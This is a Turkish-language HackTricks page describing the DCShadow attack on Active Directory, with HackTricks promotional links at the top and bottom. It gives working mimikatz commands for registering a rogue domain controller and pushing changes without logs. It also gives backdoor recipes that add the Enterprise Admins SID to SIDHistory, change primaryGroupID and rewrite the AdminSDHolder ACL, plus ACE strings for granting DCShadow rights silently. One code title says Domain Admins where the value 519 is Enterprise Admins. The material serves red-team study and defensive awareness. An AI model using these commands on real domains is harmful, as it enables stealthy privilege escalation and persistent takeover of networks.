7 KiB
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
DCShadow
Bu, AD'de bir yeni Etki Alanı Denetleyicisi kaydeder ve belirtilen nesneler üzerinde (SIDHistory, SPN'ler...) özellikleri itmek için kullanırken herhangi bir değişiklik hakkında günlük bırakmadan kullanır. DA ayrıcalıklarına ve kök etki alanı içinde olmanız gerekmektedir.
Yanlış veri kullanırsanız, oldukça kötü günlükler ortaya çıkacaktır.
Saldırıyı gerçekleştirmek için 2 mimikatz örneğine ihtiyacınız vardır. Bunlardan biri, SYSTEM ayrıcalıklarıyla RPC sunucularını başlatacak (burada yapmak istediğiniz değişiklikleri belirtmelisiniz) ve diğer örnek değerleri itmek için kullanılacaktır:
{% code title="mimikatz1 (RPC sunucuları)" %}
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
{% code title="mimikatz2 (push) - DA veya benzeri yetkiye ihtiyaç duyar" %}
lsadump::dcshadow /push
{% endcode %}
elevate::token
'un mimikatz1
oturumunda çalışmayacağını unutmayın, çünkü bu işlem yalnızca iş parçacığının ayrıcalıklarını yükseltir, ancak işlemin ayrıcalığını yükseltmemiz gerekmektedir.
Ayrıca "LDAP" nesnesini seçebilirsiniz: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Bu değişiklikleri DA (Domain Admin) veya bu en düşük izinlere sahip bir kullanıcıdan yapabilirsiniz:
- Domain nesnesi içinde:
- DS-Install-Replica (Alan İçinde Kopya Ekle/Kaldır)
- DS-Replication-Manage-Topology (Replikasyon Topolojisini Yönet)
- DS-Replication-Synchronize (Replikasyon Senkronizasyonu)
- Yapılandırma konteynırı içindeki Sites nesnesi (ve alt nesneleri):
- CreateChild ve DeleteChild
- DC olarak kaydedilmiş olan bilgisayarın nesnesi:
- WriteProperty (Yazma değil)
- Hedef nesne:
- WriteProperty (Yazma değil)
Bu ayrıcalıkları ayrıcalıksız bir kullanıcıya vermek için Set-DCShadowPermissions komutunu kullanabilirsiniz (bu işlem bazı loglar bırakacaktır). Bu, DA (Domain Admin) ayrıcalıklarına sahip olmaktan çok daha kısıtlayıcıdır.
Örneğin: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose
Bu, student1 kullanıcı adına sahip olan mcorp-student1 makinesinde oturum açıldığında root1user nesnesi üzerinde DCShadow izinlerine sahip olduğu anlamına gelir.
DCShadow kullanarak arka kapılar oluşturma
{% code title="SIDHistory'de bir kullanıcıya Enterprise Admins atama" %}
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
{% code title="PrimaryGroupID'yi Değiştirin (kullanıcıyı Domain Yöneticileri üyesi yapın)" %}
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
{% code title="AdminSDHolder'ın ntSecurityDescriptor'ını değiştirin (bir kullanıcıya Tam Denetim verin)" %}
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
{% endcode %}
Shadowception - DCShadow kullanarak DCShadow izinleri verme (değiştirilmiş izin günlükleri olmadan)
Aşağıdaki ACE'leri kullanıcının SID'siyle birlikte eklememiz gerekiyor:
- Etki alanı nesnesi üzerinde:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
- Saldırgan bilgisayar nesnesi üzerinde:
(A;;WP;;;UserSID)
- Hedef kullanıcı nesnesi üzerinde:
(A;;WP;;;UserSID)
- Yapılandırma konteynerindeki Siteler nesnesi üzerinde:
(A;CI;CCDC;;;UserSID)
Bir nesnenin mevcut ACE'sini almak için: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Dikkat edin, bu durumda sadece bir tane değil, birkaç değişiklik yapmanız gerekiyor. Bu nedenle, mimikatz1 oturumu (RPC sunucusu) içinde her değişiklik için /stack
parametresini kullanın. Bu şekilde, tüm takılan değişiklikleri tek bir /push
işlemiyle gerçekleştirmek için yeterli olacaktır.
DCShadow hakkında daha fazla bilgi için ired.team.
AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te tanıtmak veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.